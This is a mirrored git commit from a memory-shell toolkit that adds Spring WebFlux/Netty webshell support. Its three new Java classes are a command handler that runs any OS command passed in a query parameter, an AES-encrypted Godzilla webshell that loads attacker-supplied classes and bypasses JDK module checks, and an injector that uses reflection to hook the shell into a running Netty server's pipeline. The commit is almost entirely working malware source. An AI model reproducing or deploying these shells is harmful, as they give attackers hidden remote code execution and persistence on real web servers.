mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support webflux netty shell (#8)
This commit is contained in:
@@ -18,6 +18,8 @@ dependencies {
|
||||
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||
implementation 'org.springframework:spring-webflux:5.3.24'
|
||||
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||
implementation 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||
implementation 'io.netty:netty-all:4.1.116.Final'
|
||||
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
providedCompile 'javax.websocket:javax.websocket-api:1.1'
|
||||
|
||||
-1
@@ -19,7 +19,6 @@ public class CommandHandlerMethod {
|
||||
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
|
||||
try {
|
||||
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
|
||||
System.out.println("handler method cmd: " + cmd);
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
if (cmd != null) {
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package com.reajason.javaweb.memshell.springwebflux.command;
|
||||
|
||||
import io.netty.buffer.Unpooled;
|
||||
import io.netty.channel.ChannelDuplexHandler;
|
||||
import io.netty.channel.ChannelFutureListener;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelHandlerContext;
|
||||
import io.netty.handler.codec.http.*;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URI;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@ChannelHandler.Sharable
|
||||
public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
public static String paramName;
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
|
||||
if (msg instanceof DefaultHttpRequest) {
|
||||
DefaultHttpRequest request = (DefaultHttpRequest) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String uri = request.uri();
|
||||
String cmd = getParameter(uri, paramName);
|
||||
if (cmd == null) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = bufferedReader.readLine()) != null) {
|
||||
result.append(line);
|
||||
result.append(System.lineSeparator());
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
send(ctx, result.toString());
|
||||
}
|
||||
}
|
||||
|
||||
public String getParameter(String requestUrl, String paramName) throws Exception {
|
||||
URI uri = new URI(requestUrl);
|
||||
String query = uri.getQuery();
|
||||
String[] kvs = query.split("&");
|
||||
for (String kv : kvs) {
|
||||
String k = null;
|
||||
String[] pair = kv.split("=", 2);
|
||||
if (pair.length > 0) {
|
||||
k = pair[0];
|
||||
}
|
||||
if (pair.length > 1 && k != null && k.equals(paramName)) {
|
||||
return pair[1];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private void send(ChannelHandlerContext ctx, String context) throws Exception {
|
||||
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
|
||||
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
|
||||
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
|
||||
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
|
||||
}
|
||||
}
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
package com.reajason.javaweb.memshell.springwebflux.godzilla;
|
||||
|
||||
import io.netty.buffer.Unpooled;
|
||||
import io.netty.channel.ChannelDuplexHandler;
|
||||
import io.netty.channel.ChannelFutureListener;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelHandlerContext;
|
||||
import io.netty.handler.codec.http.*;
|
||||
import io.netty.util.CharsetUtil;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
@ChannelHandler.Sharable
|
||||
public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
private StringBuilder requestBody = new StringBuilder();
|
||||
private DefaultHttpRequest request;
|
||||
private static Class<?> payload;
|
||||
|
||||
private static Class<?> defClass(byte[] classbytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
method.setAccessible(true);
|
||||
return (Class<?>) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
|
||||
if (msg instanceof DefaultHttpRequest) {
|
||||
request = (DefaultHttpRequest) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String value = headers.get(headerName);
|
||||
if (value == null || !value.equals(headerValue)) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
// 如果是当前 payload 进来不能调用 ctx.fireChannelRead(msg),不然的话下面不能拿到完整的 request body
|
||||
}
|
||||
if (msg instanceof HttpContent) {
|
||||
HttpContent httpContent = (HttpContent) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String value = headers.get(headerName);
|
||||
|
||||
// quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
|
||||
if (value == null || !value.equals(headerValue)) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
|
||||
String content = httpContent.content().toString(CharsetUtil.UTF_8);
|
||||
requestBody.append(content);
|
||||
if (httpContent instanceof LastHttpContent) {
|
||||
try {
|
||||
String base64Str = URLDecoder.decode(requestBody.substring(pass.length() + 1), "UTF-8");
|
||||
requestBody.setLength(0);
|
||||
byte[] data = x(base64Decode(base64Str), false);
|
||||
if (payload == null) {
|
||||
payload = defClass(data);
|
||||
send(ctx, "");
|
||||
return;
|
||||
} else {
|
||||
Object f = payload.newInstance();
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16));
|
||||
}
|
||||
return;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
ctx.fireChannelRead(msg);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
private void send(ChannelHandlerContext ctx, String context) throws Exception {
|
||||
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.copiedBuffer(context, StandardCharsets.UTF_8));
|
||||
response.headers().set("Content-Type", "text/plain; charset=UTF-8");
|
||||
response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes());
|
||||
ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
|
||||
}
|
||||
|
||||
static {
|
||||
// webflux3 jdk17 bypass module
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, GodzillaNettyHandler.class, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
package com.reajason.javaweb.memshell.springwebflux.injector;
|
||||
|
||||
import io.netty.channel.Channel;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelPipeline;
|
||||
import reactor.netty.ChannelPipelineConfigurer;
|
||||
import reactor.netty.ConnectionObserver;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.SocketAddress;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/26
|
||||
*/
|
||||
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
|
||||
|
||||
static {
|
||||
new SpringWebFluxNettyHandlerInjector();
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public SpringWebFluxNettyHandlerInjector() {
|
||||
try {
|
||||
Object nettyServer = getNettyServer();
|
||||
Object handler = getShell();
|
||||
inject(nettyServer, handler);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object handler;
|
||||
|
||||
public SpringWebFluxNettyHandlerInjector(Object handler) {
|
||||
this.handler = handler;
|
||||
}
|
||||
|
||||
public Object getNettyServer() throws Exception {
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
Field threads = group.getClass().getDeclaredField("threads");
|
||||
threads.setAccessible(true);
|
||||
Thread[] allThreads = (Thread[]) threads.get(group);
|
||||
for (Thread thread : allThreads) {
|
||||
if (thread.getClass().getName().contains("NettyWebServer")) {
|
||||
return thread;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
public void inject(Object nettyServer, Object handler) {
|
||||
try {
|
||||
Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
|
||||
this.handler = handler;
|
||||
setFieldValue(config, "doOnChannelInit", this);
|
||||
System.out.println("netty handler injected successfully");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
} catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null) {
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
|
||||
ChannelPipeline pipeline = channel.pipeline();
|
||||
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user